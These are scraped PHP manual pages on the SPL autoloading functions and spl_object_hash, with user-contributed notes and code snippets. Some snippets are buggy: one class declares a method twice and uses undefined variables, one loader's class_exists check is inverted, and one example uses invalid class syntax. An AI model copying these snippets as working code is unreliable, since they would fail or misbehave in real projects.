I use it to test an iterator: https://gist.github.com/jm42/cb328106f393eeb28751
jerome at yazo dot net 10-Dec-2008 07:42
Using the boolean param :

<?php

$first = new ArrayIterator( array('k1' => 'a' , 'k2' => 'b',  'k3' => 'c',  'k4' => 'd') );
$second = new ArrayIterator( array( 'k1' => 'X', 'k2' => 'Y', 'Z' ) );

$combinedIterator= new AppendIterator();
$combinedIterator->append( $first );
$combinedIterator->append( $second );

var_dump( iterator_to_array($combinedIterator, false) );

?>

will output :

array(7) (
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "X"
  [5]=>
  string(1) "Y"
  [6]=>
  string(1) "Z"
)

<?php

var_dump( iterator_to_array($combinedIterator, true) );

?>

will output (since keys would merge) :

array(5) (
  ["k1"]=>
  string(1) "X"
  ["k2"]=>
  string(1) "Y"
  ["k3"]=>
  string(1) "c"
  ["k4"]=>
  string(1) "d"
  [0]=>
  string(1) "Z"
)
chad 0x40 herballure 0x2e com 27-Mar-2008 03:23
The use_keys parameter was added in one of the 5.2.x releases; it defaults to TRUE. This matches the behavior in PHP 5.1.6, which lacks this parameter.


Try all registered __autoload() function to load the requested class

  • « iterator_to_array
  • spl_autoload_extensions »
  • PHP Manual
  • SPL Functions
  • Try all registered __autoload() function to load the requested class

spl_autoload_call

(PHP 5 >= 5.1.2)

spl_autoload_call — Try all registered __autoload() function to load the requested class

Description

void spl_autoload_call ( string $class_name )

This function can be used to manually search for a class or interface using the registered __autoload functions.

Parameters

class_name

The class name being searched.

Return Values

No value is returned.

User Contributed Notes

k dot varmark at gmail dot com 02-Feb-2011 12:40
It should be noted, that calling spl_autoload_call on a child class, and then on its parent class, throws a fatal error.

This happens because autoloading the child class also loads the class it extends. And since spl_autoload_call forcibly calls the registered autoload function(s), not taking into account whether the class exists, a fatal error is thrown:

File: child.class.php

<?php
class Child extends Parent () {
    public function __construct () {
        parent::__construct();
    }
}
?>

File: parent.class.php

<?php
class Parent () {
    public function __construct () {

    }
}
?>

File: autoload.php

<?php

/*    works fine    */
    spl_autoload_call('Child');

/*    throws: Fatal error: Cannot redeclare class Parent in /parent.class.php on line 2    */
    spl_autoload_call('Parent');

?>


Register and return default file extensions for spl_autoload

  • « spl_autoload_call
  • spl_autoload_functions »
  • PHP Manual
  • SPL Functions
  • Register and return default file extensions for spl_autoload

spl_autoload_extensions

(PHP 5 >= 5.1.2)

spl_autoload_extensions — Register and return default file extensions for spl_autoload

Description

string spl_autoload_extensions ([ string $file_extensions ] )

This function can modify and check the file extensions that the built in __autoload() fallback function spl_autoload() will be using.

Parameters

file_extensions

When calling without an argument, it simply returns the current list of extensions each separated by comma. To modify the list of file extensions, simply invoke the functions with the new list of file extensions to use in a single string with each extensions separated by comma.

Return Values

A comma delimited list of default file extensions for spl_autoload().

User Contributed Notes

Jeremy Cook 03-Sep-2010 03:46
A quick note for anyone using this function to add their own autoload extensions. I found that if I included a space in between the different extensions (i.e. '.php, .class.php') the function would not work. To get it to work I had to remove the spaces between the extensions (ie. '.php,.class.php'). This was tested in PHP 5.3.3 on Windows and I'm using spl_autoload_register() without adding any custom autoload functions.

Hope that helps somebody.
Kerry Kobashi 12-May-2010 02:50
Extensions include the period. For example:

spl_autoload_extensions(".inc, .php, .lib, .lib.php ");


Return all registered __autoload() functions

  • « spl_autoload_extensions
  • spl_autoload_register »
  • PHP Manual
  • SPL Functions
  • Return all registered __autoload() functions

spl_autoload_functions

(PHP 5 >= 5.1.2)

spl_autoload_functions — Return all registered __autoload() functions

Description

array spl_autoload_functions ( void )

Get all registered __autoload() functions.

Parameters

This function has no parameters.

Return Values

An array of all registered __autoload functions. If the autoload queue is not activated then the return value is FALSE. If no function is registered the return value will be an empty array.

User Contributed Notes

There are no user contributed notes for this page.


Register given function as __autoload() implementation

  • « spl_autoload_functions
  • spl_autoload_unregister »
  • PHP Manual
  • SPL Functions
  • Register given function as __autoload() implementation

spl_autoload_register

(PHP 5 >= 5.1.2)

spl_autoload_register — Register given function as __autoload() implementation

Description

bool spl_autoload_register ([ callable $autoload_function [, bool $throw = true [, bool $prepend = false ]]] )

Register a function with the spl provided __autoload queue. If the queue is not yet activated it will be activated.

If your code has an existing __autoload() function then this function must be explicitly registered on the __autoload queue. This is because spl_autoload_register() will effectively replace the engine cache for the __autoload() function by either spl_autoload() or spl_autoload_call().

If there must be multiple autoload functions, spl_autoload_register() allows for this. It effectively creates a queue of autoload functions, and runs through each of them in the order they are defined. By contrast, __autoload() may only be defined once.

Parameters

autoload_function

The autoload function being registered. If no parameter is provided, then the default implementation of spl_autoload() will be registered.

throw

This parameter specifies whether spl_autoload_register() should throw exceptions when the autoload_function cannot be registered.

prepend

If true, spl_autoload_register() will prepend the autoloader on the autoload queue instead of appending it.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Namespaces support was introduced.
5.3.0 | The prepend parameter was added.

Examples

Example #1 spl_autoload_register() as a replacement for an __autoload() function

<?php

// function __autoload($class) {
//     include 'classes/' . $class . '.class.php';
// }

function my_autoloader($class) {
    include 'classes/' . $class . '.class.php';
}

spl_autoload_register('my_autoloader');

// Or, using an anonymous function as of PHP 5.3.0
spl_autoload_register(function ($class) {
    include 'classes/' . $class . '.class.php';
});

?>

Example #2 spl_autoload_register() example where the class is not loaded

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print '[['. $name .']]';
    }
}

spl_autoload_register(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0

new InexistentClass;

?>

The above example will output something similar to:

[[Foobar\InexistentClass]]
Fatal error: Class 'Foobar\InexistentClass' not found in ...

See Also

  • __autoload() - Attempt to load undefined class

User Contributed Notes

nmmm at nmmm dot nu 04-Jun-2014 11:17
spl_autoload_register() can be used with include_path.

suppose in current directory we have directory "a", and inside there is directory "test" and inside is test.php :

<?
namespace test;
class test{
        function __construct(){
                echo "Test created\n";
        }
}
?>

then we can use following code to load the class:
<?
ini_set("include_path", "./a/");

spl_autoload_register();

$t = new \test\test();
?>
hajo-p 06-Jan-2014 02:25
if you have a dir-structure like "/abc/def/ghi", your index.php lies in the top directory, but you want to use namespaces starting with "def" or "ghi":

you can switch the namespace root directory of php with e.g. set_include_path(__DIR__ . '/abc') and afterwards define + use your namespaces with the simple spl_autoload_register() function without any arguments supplied.

remember that php handlers "cli" and "cli-server" are special cases.
Kurd the Great 02-Oct-2013 01:13
if(!defined('BASE_PATH')) {
    define('BASE_PATH', dirname(__FILE__) . '/');
    require BASE_PATH . 'Autoloader.php';
    Autoloader::Register();
}

class Autoloader
{
    public static function Register() {
        return spl_autoload_register(array('Autoloader', 'Load'));
    }

    public static function Load($strObjectName) {
        if(class_exists($strObjectName) === false) {
            return false;
        }

        $strObjectFilePath = BASE_PATH . $strObjectName . '.php';

        if((file_exists($strObjectFilePath) === false) || (is_readable($strObjectFilePath) === false)) {
            return false;
        }

        require($strObjectFilePath);
    }
}
phil at propcom dot co dot uk 18-Sep-2013 05:36
It is important to note that the autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
ali dot taheri dot m at gmail dot com 24-Jul-2013 11:23
I've made a little function that makes and registers a loader that seems to be safe and reliable although I'm not sure but it feels like a good idea to share, it took me some time to come up with it I hope it saves someone some time,

<?php

function Loader($root = "") {
    $loaderFunction = create_function('$class', 'include  "' . $root . '$class.php";');
    spl_autoload_register($loaderFunction);
}

?>

if you have a file system exactly like your directory tree this function works perfectly, I haven't tested it on unix, but on windows, the default loader fails when your webpage isn't in the root directory, this makes sure that it won't cause a problem if your webpage is on a subdir too just pass ../ or more drived ../../ as root and it will work like a charm, note that i couldn't use anonymous functions because then the $root variable wouldn't have the same scope as the Loader function, so the function must be created on the fly. this is a good example of this functions usage

your class:
root/classes/support/classic.php
<?php

    namespace classes/support;

    class classic {
         // class def
    }

?>

root/support/index.php
<?php

Loader('../');

use classes/support/classic;

$cls = new classic();
//use $cls
?>

the loader will make a function like this:
<?php

function($class) {
    include  "../$class.php";
}

//when and when the class is needed this will run the script which is indeed what we need:

include '../classes/support/classic.php';

?>

hope this helps folks;
sebastian at 34n dot de 24-May-2013 06:49
You can also use it like this:

> spl_autoload_register ( array( new AutoloaderClass, 'method') );

or in PHP > 5.3:

> spl_autoload_register ( [ new My\Namespace\Autoloader, 'method'] );

On this way you dont have to create a variable, which is used once.
a dot schaffhirt at sedna-soft dot de 07-Apr-2013 10:42
What I said here previously is only true on Windows. The built-in default autoloader that is registered when you call spl_autoload_register() without any arguments simply adds the qualified class name plus the registered file extension (.php) to each of the include paths and tries to include that file.

Example (on Windows):

include paths:
- "."
- "d:/projects/phplib"

qualified class name to load:
network\http\rest\Resource

Here's what happens:

PHP tries to load
'.\\network\\http\\rest\\Resource.php'
-> file not found

PHP tries to load
'd:/projects/phplib\\network\\http\\rest\\Resource.php'
-> file found and included

Note the slashes and backslashes in the file path. On Windows this works perfectly, but on a Linux machine, the backslashes won't work and additionally the file names are case-sensitive.

That's why on Linux the quick-and-easy way would be to convert these qualified class names to slashes and to lowercase and pass them to the built-in autoloader like so:

<?php
spl_autoload_register(
  function ($pClassName) {
    spl_autoload(strtolower(str_replace("\\", "/", $pClassName)));
  }
);
?>

But this means, you have to save all your classes with lowercase file names. Otherwise, if you omit the strtolower call, you have to use the class names exactly as specified by the file name, which can be annoying for class names that are defined with non-straightforward case like e. g. XMLHttpRequest.

I prefer the lowercase approach, because it is easier to use and the file name conversion can be done automatically on deploying.
daniel at amnistechnology dot com 17-Oct-2012 06:57
Cleverly - and usefully - I have noticed that (on PHP 5.3 at least) these autoloaders "kick in" even when you call a public static method of an as-yet-unloaded all static class.
Anonymous 04-Feb-2012 01:52
Note that when specifying the third parameter (prepend), the function will fail badly in PHP 5.2
(delphists) at (apollo) dot (lv) 01-Feb-2011 10:57
When using spl_autoload_register() with class methods, it might seem that it can use only public methods, though it can use private/protected methods as well, if registered from inside the class:
<?php

    class ClassAutoloader {
        public function __construct() {
            spl_autoload_register(array($this, 'loader'));
        }
        private function loader($className) {
            echo 'Trying to load ', $className, ' via ', __METHOD__, "()\n";
            include $className . '.php';
        }
    }

    $autoloader = new ClassAutoloader();

    $obj = new Class1();
    $obj = new Class2();

?>

Output:
--------
Trying to load Class1 via ClassAutoloader::loader()
Class1::__construct()
Trying to load Class2 via ClassAutoloader::loader()
Class2::__construct()
anthon at piwik dot org 05-Jul-2010 06:02
Think twice about throwing an exception from a registered autoloader.

If you have multiple autoloaders registered, and one (or more) throws an exception before a later autoloader loads the class, stacked exceptions are thrown (and must be caught) even though the class was loaded successfully.
sebastian dot krebs at kingcrunch dot de 24-Mar-2010 07:54
It seems, that  spl_autoload tests, if the class exists, after calling every registered loader. So it breaks the chain, if the class exists and will not call the other loaders

<?php
function a ($c) {
  echo "a\n";
  class Bla {} // Usually "include 'path/to/file.php';"
}
function b ($c) {
  echo "b\n";
}
spl_autoload_register('a');
spl_autoload_register('b');

$c = new Bla();
?>
Anonymous 17-Mar-2010 05:30
Be careful using this function on case sensitive file systems.

<?php
spl_autoload_extensions('.php');
spl_autoload_register();
?>

I develop on OS X and everything was working fine. But when releasing to my linux server, none of my class files were loading. I had to lowercase all my filenames, because calling a class "DatabaseObject" would try including "databaseobject.php", instead of "DatabaseObject.php"

I think i'll go back to using the slower __autoload() function, just so i can keep my class files readable
rayro at gmx dot de 04-Jan-2010 12:14
It is never a good idea and a unconscienable concept to create the classes in the autoload function via eval.
It should be a nice feature with these Exception, but i think anyone is able to handle it without this method although. Atm i dont realize for what this is good for...

As i might note, class_exists() will ever define the classes u only want to check for existance, and will therefor ever return true:
<?php
function EvalIsEvil($class) {
  eval('class '.$className.'{}');
}
spl_autoload_register('EvalIsEvil');
if (class_exists($s="IsMyModuleHere")) {
  // this is no module, but get there with eval()...
  return new $s();
}
?>
a dot schaffhirt at sedna-soft dot de 28-Jul-2009 04:05
Good news for PHP 5.3 users with namespaced classes:

When you create a subfolder structure matching the namespaces of the containing classes, you will never even have to define an autoloader.

<?php
    spl_autoload_extensions(".php"); // comma-separated list
    spl_autoload_register();
?>

It is recommended to use only one extension for all classes. PHP (more exactly spl_autoload) does the rest for you and is even quicker than a semantically equal self-defined autoload function like this one:

<?php
    function my_autoload ($pClassName) {
        include(__DIR__ . "/" . $pClassName . ".php");
    }
    spl_autoload_register("my_autoload");
?>

I compared them with the following setting: There are 10 folders, each having 10 subfolders, each having 10 subfolders, each containing 10 classes.

To load and instantiate these 1000 classes (parameterless no-action constructor), the user-definded autoload function approach took 50ms longer in average than the spl_autoload function in a series of 10 command-line calls for each approach.

I made this benchmark to ensure that I don't recommend something that could be called "nice, but slow" later.

Best regards,
stanlemon at mac dot com 28-Sep-2007 07:20
Editorial note: The appropriate PHP bug that requests behavior this function emulates is http://bugs.php.net/bug.php?id=42823 . This function does NOT work if there has been an array($obj, 'nonStaticMethod') registered in the autoload stack--while the autoload will be removed, it will be re-registered incorrectly.

The spl_autoload_register() method registers functions in its stack in the order that spl_autoload_register() was called, and subsequently if you want an autoload function to override previous autoload functions you will either need to unregister the previous ones or change the order of the autoload stack.

For example, say in your default implementation of an autoload function you throw an exception if the class cannot be found, or perhaps a fatal error.  Later on in your code you add a second implementation of an autoload function which will load a library that the previous method would fail on.  This will not call the second autoloader method first, but rather will continue to error out on the first method.

As previously mentioned, you can unregister the existing autoloader that errors out, or you can create a mechanism for unregistering and re-registering the autoloaders in the order you want.

Here is a sample/example of how you might consider re-registering autoloaders so that the newest autoloader is called first, and the oldest last:

<?php

// Editorial notes: Small bug and compatibility fixes
// added to the function

function spl_autoload_preregister( $autoload ) {
    // No functions currently in the stack.
    if ( ($funcs = spl_autoload_functions()) === false ) {
        spl_autoload_register($autoload);
    } else {
        // Unregister existing autoloaders...
        $compat =
            version_compare(PHP_VERSION, '5.1.2', '<=') &&
            version_compare(PHP_VERSION, '5.1.0', '>=');
        foreach ($funcs as $func) {
            if (is_array($func)) {
                // :TRICKY: There are some compatibility issues and some
                // places where we need to error out
                $reflector = new ReflectionMethod($func[0], $func[1]);
                if (!$reflector->isStatic()) {
                    throw new Exception('
                        This function is not compatible
                        with non-static object methods due to PHP Bug #44144.
                    ');
                }
                // Suprisingly, spl_autoload_register supports the
                // Class::staticMethod callback format, although call_user_func doesn't
                if ($compat) $func = implode('::', $func);
            }
            spl_autoload_unregister($func);
        }

        // Register the new one, thus putting it at the front of the stack...
        spl_autoload_register($autoload);

        // Now, go back and re-register all of our old ones.
        foreach ($funcs as $func) {
            spl_autoload_register($func);
        }
    }
}

?>

Note: I have not tested this for overhead, so I am not 100% sure what the performance implication of the above example are.
harvey dot NO_SPAM dot robin at gmail dot com 10-Feb-2007 02:54
This function is smart enough not to add the same loader twice.  This seems to work for all of the different loader formats.  Example:

<?php
class ALoader
{
  static function load($class) { return true; }
}

function anotherLoader($class) {
  return true;
}

$F = new ALoader;

spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array($F, 'load'));
spl_autoload_register('anotherLoader');
spl_autoload_register('anotherLoader');
var_dump(spl_autoload_functions());

/*
 * Results on PHP5.2 CLI, linux.
 * array(2) {
 *  [0]=>
 *  array(2) {
 *    [0]=>
 *    string(7) "ALoader"
 *    [1]=>
 *    string(4) "load"
 *  }
 *  [1]=>
 *  string(13) "anotherLoader"
 * }
 */
?>
florent at mediagonale dot com 14-Nov-2006 10:19
If your autoload function is a class method, you can call spl_autoload_register with an array specifying the class and the method to run.

* You can use a static method :
<?php

class MyClass {
  public static function autoload($className) {
    // ...
  }
}

spl_autoload_register(array('MyClass', 'autoload'));
?>

* Or you can use an instance :
<?php
class MyClass {
  public function autoload($className) {
    // ...
  }
}

$instance = new MyClass();
spl_autoload_register(array($instance, 'autoload'));
?>


Unregister given function as __autoload() implementation

  • « spl_autoload_register
  • spl_autoload »
  • PHP Manual
  • SPL Functions
  • Unregister given function as __autoload() implementation

spl_autoload_unregister

(PHP 5 >= 5.1.2)

spl_autoload_unregister — Unregister given function as __autoload() implementation

Description

bool spl_autoload_unregister ( mixed $autoload_function )

Removes a function from the autoload queue. If the queue is activated and empty after removing the given function then it will be deactivated.

When this function results in the queue being deactivated, any __autoload function that previously existed will not be reactivated.

Parameters

autoload_function

The autoload function being unregistered.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

edgarortegaramirez at example dot com 19-May-2013 04:13
$functions = spl_autoload_functions();
    foreach($functions as $function) {
        spl_autoload_unregister($function);
    }

A nice way to unregister all functions.
Julien B. 07-Jul-2009 06:31
Restore the binding to __autoload after using a spl_autoload_register() call

<?php
spl_autoload_register(array('Doctrine', 'autoload'));

// some process

spl_autoload_unregister(array('Doctrine', 'autoload'));

// but now the old __autoload is not triggered anymore
// you need to use :
spl_autoload_register('__autoload');

// but this will throw a LogicExeption if the __autoload
// function is not defined yet, so use:
function autoload__ ( $className ) {
    if ( function_exists('__autoload'))
        __autoload($className);
}

spl_autoload_register('autoload__');

?>

So you can define your old __autoload in another file for example

May helps some folks in this catch 22


Default implementation for __autoload()

  • « spl_autoload_unregister
  • spl_classes »
  • PHP Manual
  • SPL Functions
  • Default implementation for __autoload()

spl_autoload

(PHP 5 >= 5.1.2)

spl_autoload — Default implementation for __autoload()

Description

void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )

This function is intended to be used as a default implementation for __autoload(). If nothing else is specified and spl_autoload_register() is called without any parameters then this function will be used for any later call to __autoload().

Parameters

class_name

The lowercased name of the class (and namespace) being instantiated.

file_extensions

By default it checks all include paths to contain filenames built up by the lowercase class name appended by the filename extensions .inc and .php.

Return Values

No value is returned.

User Contributed Notes

EVODelavega 15-Apr-2014 05:39
Just thought I'd react to simast at gmail dot com's note: While he has a point in saying C outperforms PHP, his suggestion is micro-optimization. I'm not 100% against micro-optimizing code, but if you do, go all the way:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

This adds the include path to THE END of the paths PHP will scan for the class file, resulting in a bunch of misses (file-not-found's) before actually looking into the CLASS_DIR.
A more sensible approach, then would be to write

    set_include_path(
        CLASS_DIR.
        PATH_SEPARATOR,
        get_include_path()
    );
Philip 06-Nov-2013 12:05
The documentation is a little unclear when it says: "The lowercased name of the class (and namespace) being instantiated".

What it actually means is that the argument can be in whatever case you want, but it will be converted to lowercase before PHP starts looking for files. This is probably because in PHP, class names are case-insensitive (as well as function names and namespaces) so it needs to convert to some canonical format.
noum77 30-Jul-2013 03:23
Mine is simplier, and without include/require:

function autoload($className) {
    set_include_path('./library/classes/');
    spl_autoload($className); //replaces include/require
}
spl_autoload_extensions('.class.php');
spl_autoload_register('autoload');
contato at felipebarth dot com dot br 24-Sep-2012 06:14
<?php
/*
* defined function responsible for loading class,
* replacing the old __ autoload.
* ROOT is constant of the path root of the system
*/
spl_autoload_extensions('.class.php');
spl_autoload_register('loadClasses');

 function loadClasses($className)
 {

    if( file_exists(ROOT_DIR.DS.'controller/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'controller'.DS);
        spl_autoload($className);
    }
    elseif( file_exists('model/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'model'.DS);
        spl_autoload($className);
    }elseif( file_exists('view/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'view'.DS);
        spl_autoload($className    );
    }else
    {
        set_include_path(ROOT_DIR.DS.'lib'.DS);
        spl_autoload($className    );
    }
 }
?>
Ivan Stojmenovic 06-Jun-2012 10:19
One small example that shows how you can use spl_autoload function in your MVC, Framewrk's applications. For example, will use the Loader class.

<?php

 class Loader
 {

    /**
     * Controller Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_controllerDirectoryPath = array();

    /**
     * Model Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_modelDirectoryPath = array();

    /**
     * Library Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_libraryDirectoryPath = array();

    /**
     * Constructor
     * Constant contain my full path to Model, View, Controllers and Lobrary-
     * Direcories.
     *
     * @Constant MPATH,VPATH,CPATH,LPATH
     */

    public function __construct()
    {
        $this->modelDirectoryPath      = MPATH;
        $this->viewDirectoryPath        = VPATH;
        $this->controllerDirectoryPath = CPATH;
        $this->libraryDirectoryPath     = LPATH;

        spl_autoload_register(array($this,'load_controller'));
        spl_autoload_register(array($this,'load_model'));
        spl_autoload_register(array($this,'load_library'));

        log_message('debug',"Loader Class Initialized");
    }

    /**
     *-----------------------------------------------------
     * Load Library
     *-----------------------------------------------------
     * Method for load library.
     * This method return class object.
     *
     * @library String
     * @param String
     * @access public
     */
    public function load_library($library, $param = null)
    {
        if (is_string($library)) {
            return $this->initialize_class($library);
        }
        if (is_array($library)) {
            foreach ($library as $key) {
                return $this->initialize_class($library);
            }
        }
    }

    /**
     *-----------------------------------------------------
     * Initialize Class
     *-----------------------------------------------------
     * Method for initialise class
     * This method return new object.
     * This method can initialize more class using (array)
     *
     * @library String|Array
     * @param String
     * @access public
     */
    public function initialize_class($library)
    {
        try {
            if (is_array($library)) {
                foreach($library as $class) {
                    $arrayObject =  new $class;
                }
                return $this;
            }
            if (is_string($library)) {
                $stringObject = new $library;
            }else {
                throw new ISException('Class name must be string.');
            }
            if (null == $library) {
                throw new ISException('You must enter the name of the class.');
            }
        } catch(Exception $exception) {
            echo $exception;
        }
    }

    /**
     * Autoload Controller class
     *
     * @param  string $class
     * @return object
     */

    public function load_controller($controller)
    {
        if ($controller) {
            set_include_path($this->controllerDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Model class
     *
     * @param  string $class
     * @return object
     */

    public function load_models($model)
    {
        if ($model) {
            set_include_path($this->modelDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Library class
     *
     * @param  string $class
     * @return object
     */

    public function load_library($library)
    {
        if ($library) {
            set_include_path($this->libraryDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

 }

 ?>
Luke Scott 20-Apr-2011 04:03
If you want to make the best use out of autoload with an APC cache don't use spl_autoload. It uses relative paths and thus will perform a stat even with apc.stat=0 (either that, or it doesn't work at all).

Instead make a custom function and use require/include with an absolute path (register it with spl_autoload_register).

Do NOT use *_once functions or a relative path. This will fail harder than spl_autoload.

Also avoid using file_exists and is_file. This will also perform a stat.

Why are stats bad? Because they access the file system. PHP does have a stat cache that helps, but it defeats the purpose of apc.stat = 0.

It's also good to keep in mind that it's good to keep your custom autoload function simple. This is my Loader class:

<?php

class Loader
{
    public static function registerAutoload()
    {
        return spl_autoload_register(array(__CLASS__, 'includeClass'));
    }

    public static function unregisterAutoload()
    {
        return spl_autoload_unregister(array(__CLASS__, 'includeClass'));
    }

    public static function includeClass($class)
    {
        require(PATH . '/' . strtr($class, '_\\', '//') . '.php');
    }
}

?>

Also want to point out that APC does an optimization with require/include (not *_once) with relative paths if require/include is done in the global scope (and isn't conditional). So it would be a good idea to explicitly include files you know you're going to use on every request (but don't use *_once). You could, for example, add a "registerProfiledAutoload" to the above class and keep track of what you're including to help you determine what you could explicitly include (during development, not production). The key is try not to make heavy use out of autoload.

If you must use relative paths and don't care about having to lower-case your file-names then spl_autoload works great.
daniel 06-Jul-2010 04:58
Note this function will LOWERCASE the class names its looking for, dont be confused when it cant find Foo_Bar.php

also, unlike most other autoloader code snippets, this function DOES NOT translate underscores to slashes.

class Foo_Bar {}
will load foo_bar.php and will not try to load foo/bar.php

You can get around this with
spl_autoload_register(function($class) { return spl_autoload(str_replace('_', '/', $class));});
simast at gmail dot com 08-Aug-2009 07:22
Note, that the default autoload implementation is written in C land and is always slightly faster then your native PHP one.

Here is a trick to use default implementation with any configuration:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

    // You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
    spl_autoload_extensions('.class.php');

    // Use default autoload implementation
    spl_autoload_register();
?>

This also works with namespaces out of the box. So you can write code like "use My\Name\Object" and it will map to "class/My/Name/Object.class.php" file path!
safak_ozpinar at NOSPAM dot yahoo dot com 26-Sep-2007 04:17
Note that, the orders of file extensions is important for performance. You should make the priority of your favourite file extension higest or use only one extension for your class files. Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>

Or you can use this simple function that runs a bit faster for the extensions with lower priority :)
<?php
function my_autoload($className, $extList='.inc,.php') {
    $ext = explode(',',$extList);
    foreach($ext as $x) {
        $fname = $className.$x;
        if(@file_exists($fname)) {
            require_once($fname);
            return true;
        }
    }
    return false;
}

for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    my_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 2.6 miliseconds
?>
---
Safak Ozpinar - Istanbul University, Computer Engineering


Return available SPL classes

  • « spl_autoload
  • spl_object_hash »
  • PHP Manual
  • SPL Functions
  • Return available SPL classes

spl_classes

(PHP 5)

spl_classes — Return available SPL classes

Description

array spl_classes ( void )

This function returns an array with the current available SPL classes.

Parameters

This function has no parameters.

Return Values

Returns an array containing the currently available SPL classes.

Examples

Example #1 spl_classes() example

<?php

print_r(spl_classes());

?>

The above example will output something similar to:

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [RecursiveCachingIterator] => RecursiveCachingIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

User Contributed Notes

There are no user contributed notes for this page.


Return hash id for given object

  • « spl_classes
  • File Handling »
  • PHP Manual
  • SPL Functions
  • Return hash id for given object

spl_object_hash

(PHP 5 >= 5.2.0)

spl_object_hash — Return hash id for given object

Description

string spl_object_hash ( object $obj )

This function returns a unique identifier for the object. This id can be used as a hash key for storing objects, or for identifying an object, as long as the object is not destroyed. Once the object is destroyed, its hash may be reused for other objects.

Parameters

object

Any object.

Return Values

A string that is unique for each currently existing object and is always the same for each object.

Examples

Example #1 A spl_object_hash() example

<?php
$id = spl_object_hash($object);
$storage[$id] = $object;
?>

Notes

Note:

When an object is destroyed, its hash may be reused for other objects.

User Contributed Notes

mjs at beebo dot org 16-May-2013 08:20
Note that given two different objects spl_object_hash() can return values that look very similar, and in fact both the most significant *and* least significant digits are likely to be identical!  e.g. "000000003cc56d770000000007fa48c5" and "000000003cc56d0d0000000007fa48c5".

Therefore (especially if using this function for debugging), you may wish to pass the hash into a cryptographic hash function like md5() to get to facilitate visual comparisons, and make it more likely that the first few or last few digits are unique.

md5("000000003cc56d770000000007fa48c5") -> "619a799747d348fa1caf181a72b65d9f"

md5("000000003cc56d0d0000000007fa48c5") -> "ae964bc912281e7804fe5a88b4546cb2"
Rafael M. Salvioni 04-Dec-2008 08:01
The follow function is a implementation of the PHP´s function spl_object_hash(), unavailable in versions less 5.2.0.

But, the algorithm of this function is different of the original PHP´s function.

(Sorry... my english is very bad...)

<?php

if (!function_exists('spl_object_hash')) {
    /**
     * Returns the hash of the unique identifier for the object.
     *
     * @param object $object Object
     * @author Rafael M. Salvioni
     * @return string
     */
    function spl_object_hash($object)
    {
        if (is_object($object)) {
            ob_start(); var_dump($object); $dump = ob_get_contents(); ob_end_clean();
            if (preg_match('/^object\(([a-z0-9_]+)\)\#(\d)+/i', $dump, $match)) {
                return md5($match[1] . $match[2]);
            }
        }
        trigger_error(__FUNCTION__ . "() expects parameter 1 to be object", E_USER_WARNING);
        return null;
    }
}

?>
planetbeing 06-Jul-2007 01:40
Note that the contents (properties) of the object are NOT hashed by the function, merely its internal handle and handler table pointer. This is sufficient to guarantee that any two objects simultaneously co-residing in memory will have different hashes. Uniqueness is not guaranteed between objects that did not reside in memory simultaneously, for example:

var_dump(spl_object_hash(new stdClass()), spl_object_hash(new stdClass()));

Running this alone will usually generate the same hashes, since PHP reuses the internal handle for the first stdClass after it has been dereferenced and destroyed when it creates the second stdClass.


File Handling

Table of Contents

  • SplFileInfo
  • SplFileObject
  • SplTempFileObject

SPL provides a number of classes to work with files.

User Contributed Notes

There are no user contributed notes for this page.


The SplFileInfo class

(PHP 5 >= 5.1.2)

Introduction

The SplFileInfo class offers a high-level object oriented interface to information for an individual file.

Class synopsis

SplFileInfo {
/* Methods */
public __construct ( string $file_name )
public int getATime ( void )
public string getBasename ([ string $suffix ] )
